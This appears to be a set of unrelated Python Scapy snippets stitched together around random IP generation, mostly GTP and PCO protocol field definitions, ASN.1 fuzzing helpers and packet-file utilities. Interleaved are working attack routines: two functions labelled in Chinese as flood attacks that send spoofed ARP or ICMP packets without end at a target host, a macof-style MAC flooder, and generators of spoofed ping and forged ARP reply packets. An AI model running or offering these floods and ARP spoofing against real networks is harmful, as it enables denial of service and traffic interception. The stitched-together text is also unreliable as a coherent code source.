def create_tunnel_stream_l2o4(self, src_if, tunnel_src, tunnel_dst): pkts = [] for i in range(0, 257): info = self.create_packet_info(src_if, src_if) payload = self.info_to_payload(info) p = ( Ether(dst=src_if.local_mac, src=src_if.remote_mac) / IP(src=tunnel_src, dst=tunnel_dst) / GRE() / Ether(dst=RandMAC('*:*:*:*:*:*'), src=RandMAC('*:*:*:*:*:*')) / IP(src=str(RandIP()), dst=str(RandIP())) / UDP(sport=1234, dport=1234) / Raw(payload)) info.data = p.copy() pkts.append(p) return pkts
class PCO_IPv4(PCO_Option): name = "IPv4" fields_desc = [ ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", 0), IPField("address", RandIP()) ]
class PCO_P_CSCF_IPv4_Address_Request(PCO_Option): name = "PCO PCO-P CSCF IPv4 Address Request" fields_desc = [ ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 0), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length) ]
class PCO_Secondary_NBNS(PCO_Option): name = "Secondary NBNS Server IP Address" fields_desc = [ ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", 0), IPField("address", RandIP()) ]
class PCO_DNS_Server_IPv4(PCO_Option): name = "PCO DNS Server IPv4 Address Request" fields_desc = [ ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 0), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length) ]
class GTPCreatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Request" fields_desc = [PacketListField("IE_list", [IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_NotImplementedTLV(ietype=135, length=15, data=RandString(15))], # noqa: E501 IE_Dispatcher)]
class IE_IPv4(gtp.IE_Base): name = "IE IPv4" fields_desc = [ByteEnumField("ietype", 74, IEType), ShortField("length", 0), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IPField("address", RandIP())]
class IE_GSNAddress(IE_Base): name = "GSN Address" fields_desc = [ ByteEnumField("ietype", 133, IEType), ShortField("length", 4), IPField("address", RandIP()) ]
def flood(self): """ 泛洪攻击 """ randmac = RandMAC() randip = RandIP() arp_packet = Ether(src=randmac, dst=randmac) / IP(src=randip, dst=randip) sendp(arp_packet, iface=self.ether_name, count=sys.maxsize, interval=0.2, verbose=self.verbose)
class IE_FTEID(gtp.IE_Base): name = "IE F-TEID" fields_desc = [ByteEnumField("ietype", 87, IEType), ShortField("length", 0), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("ipv4_present", 0, 1), BitField("ipv6_present", 0, 1), BitField("InterfaceType", 0, 6), XIntField("GRE_Key", 0), ConditionalField( IPField("ipv4", RandIP()), lambda pkt: pkt.ipv4_present), ConditionalField(XBitField("ipv6", "2001::", 128), lambda pkt: pkt.ipv6_present)]
class IE_GSNAddress(IE_Base): name = "GSN Address" fields_desc = [ByteEnumField("ietype", 133, IEType), ShortField("length", None), ConditionalField(IPField("ipv4_address", RandIP()), lambda pkt: pkt.length == 4), ConditionalField(IP6Field("ipv6_address", '::1'), lambda pkt: pkt.length == 16)] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) - 3 p = p[:2] + struct.pack("!B", tmp_len) + p[3:] return p
def flood(self, host): """ ICMP 泛洪攻击 :param host: 目标主机ip地址 """ number = 0 while True: number = number + 1 # 随机IP地址时需每次生成一个新的IP地址 packet = IP(dst=host, src=RandIP()) / ICMP() / b'abcdefg' send(packet, count=1, verbose=self.__verbose) print('{:<10}send packet dst = {}, src = {}'.format( number, host, packet[IP].src))
def _fix(self, n=0): o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0,1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05)+1) return o("".join(random.choice(self.chars) for _ in range(z))) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08)+1) return o([self.__class__(objlist=self.objlist)._fix(n + 1) for _ in range(z)]) return ASN1_INTEGER(int(random.gauss(0,1000)))
def _fix(self, n=0): # type: (int) -> ASN1_Object[Any] o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0, 1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME): # noqa: E501 z = GeneralizedTime()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05) + 1) return o("".join(random.choice(self.chars) for _ in range(z))) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08) + 1) return o([self.__class__(objlist=self.objlist)._fix(n + 1) for _ in range(z)]) return ASN1_INTEGER(int(random.gauss(0, 1000)))
class IE_EndUserAddress(IE_Base): # Supply protocol specific information of the external packet name = "End User Address" fields_desc = [ByteEnumField("ietype", 128, IEType), # data network accessed by the GGPRS subscribers. # - Request # 1 Type (1byte) # 2-3 Length (2bytes) - value 2 # 4 Spare + PDP Type Organization # 5 PDP Type Number # - Response # 6-n PDP Address ShortField("length", 2), BitField("SPARE", 15, 4), BitField("PDPTypeOrganization", 1, 4), XByteField("PDPTypeNumber", None), ConditionalField(IPField("PDPAddress", RandIP()), lambda pkt: pkt.length == 6 or pkt.length == 22), # noqa: E501 ConditionalField(IP6Field("IPv6_PDPAddress", '::1'), lambda pkt: pkt.length == 18 or pkt.length == 22)] # noqa: E501
def macof(): pkt = Ether(dst=RandMAC(), src=RandMAC()) / IP(dst=RandIP(), src=RandIP()) / ICMP() sendp(pkt, loop=1, count=10000)
else: output_file_path = args.output_file if args.src_mac is None: srcMAC = str(RandMac("00:00:00:00:00:00", True).mac) else: srcMAC = args.src_mac if args.dst_mac is None: dstMAC = str(RandMac("00:00:00:00:00:00", True).mac) else: dstMAC = args.dst_mac packetSize = args.pkt_size noICMP = args.no_icmp try: os.remove(output_file_path) except OSError: pass randomSrcIP = str(RandIP()) randomDstIP = str(RandIP()) randomSrcPort = int(RandShort()) randomDstPort = int(RandShort()) tot_input_lines = parse_and_write_file(input_file_path) print(f"Read and parsed a total of {tot_input_lines} from file") print(f"Output file created: {output_file_path}")
def get_or_random_ip(ip): if int(ip) == 0: return str(RandIP()) return str(ipaddress.IPv4Address(int(ip)))
def __generate_packet(self): '''Generates the Ping packet. IP Addresses are randomized in the destination's subnet range''' return Ether(src=RandMAC())/IP(src=RandIP(f"{self.dst}/{self.subnet_bits}"), dst=self.dst)/ICMP()/("Hello, I am bored" * 10)
def __generate_packet(self): '''Generates the ARP packet. IP Addresses and src mac addresses are randomized.''' return ARP(op=2, pdst=self.dst, psrc=RandIP(f"{self.dst}/{self.subnet_bits}"), hwsrc=RandMAC())